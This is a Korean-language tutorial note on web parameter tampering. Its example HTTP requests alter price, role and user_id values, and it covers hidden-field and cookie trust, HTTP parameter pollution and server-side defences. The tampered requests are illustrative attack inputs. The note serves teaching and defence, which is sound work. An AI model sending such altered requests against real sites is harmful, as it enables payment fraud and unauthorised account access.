☞ 단순히 "값이 바뀐다"가 아니라, 그 값이 다음 같은 보안 의사 결정에 쓰일 수 있기 때문이다.

1. 가격 조작

원래 요청

POST /checkout
product_id=10&price=10000&quantity=1

공격자가 수정

POST /checkout
product_id=10&price=100&quantity=1

서버가 price를 DB에서 다시 계산하지 않고, 클라이언트가 보낸 값을 그대로 결제 로직에 사용하면 가격 조작이 성립한다.

2. 권한 조작

원래 요청

POST /profile/update
username=test&role=user

공격자가 수정

POST /profile/update
username=test&role=admin

서버가 role 값을 사용자 입력에서 받아 반영하면, 일반 사용자가 관리자 권한을 얻는 문제가 생길 수 있음

3. ID 값 조작

원래 요청

GET /account?user_id=1001

공격자가 수정

GET /account?user_id=1002

서버가 로그인한 사용자가 정말 1002 계정에 접근 가능한가를 확인하지 않으면 이것은 IDOR로 이어짐
IDOR은 user-supplied input으로 객체를 직접 참조할 때 발생하는 access control 취약점

hidden field가 왜 안전하지 않은가?

초보자가 가장 많이 오해하는 부분

<input type="hidden" name="price" value="10000">

hidden은 안 보일 뿐, 보호되는 값이 아니다.

hidden은 UI에서 숨길 뿐 secure가 아니다.

쿠키도 왜 신뢰하면 안되나?

쿠키 역시 클라이언트 저장소이다.

따라서 다음 같은 구조는 위험하다.

Cookie: role=user

이를 공격자가 role=admin으로 바꿀 수 있다면, 서버는 절대 이 값을 권한 판단의 근거로 사용해선 안된다.

HTTP Paramter Pollution

HTTP Paramter Pollution은 HTTP 파라미터를 여러 번 보내서 애플리케이션 해석을 꼬이게 만드는 테스트 항목이다.

이로 인해 입력 검증 우회, 에러 유발, 내부 변수 수정이 발생할 수 있다.

?role=user&role=admin

첫 번째 값을 쓰는지
마지막 값을 쓰는지
배열로 처리하는지

다를 수 있어서 보안 문제가 된다.

Paramter Tampering은 더 넓은 개념이고, 파라미터 값을 바꿔서 서버 동작을 조작하는 행위를 말하는 것이므로 조금 다르다는 것을 염두에 두어야 한다.

Paramter tampering 자체는 공격 기법이고, 결과적으로는 여러 취약점으로 이어질 수 있다.

조작한 값	이어질 수 있는 취약점
user_id, order_id	IDOR / Broken Access Control
role, isAdmin	Privilege Escalation
price, discount, quantity	Business Logic Flaw
중복 파라미터	HTTP Paramter Pollution

방어 기법

1. 클라이언트 값은 신뢰하지 않는다.

가장 중요하다.

가격, 권한, 승인 여부, 할인율, 관리자 여부 같은 값은 클라이언트에게 받아도 참고용일 뿐, 보안 결정은 서버가 해야 한다.

2. 민감한 값은 서버에서 재계산하기

가격 → 상품 DB에서 조회
총액 → 서버 계산
권한 → 세션/토큰/DB 기준판단

3. 입력 검증 서버에서 하기

4. 객체 접근 전 인가 검사 하기

USER_ID = 1002 가 들어왔으면

현재 로그인한 사용자가 1002 자원에 접근 가능한가? 를 반드시 확인해야 한다.

5. 중복 파라미터 정책 명확히 하기

동일 이름 파라미터가 여러 개 들어오면 거부하거나, 해석 규칙을 일관되게 강제해야 한다.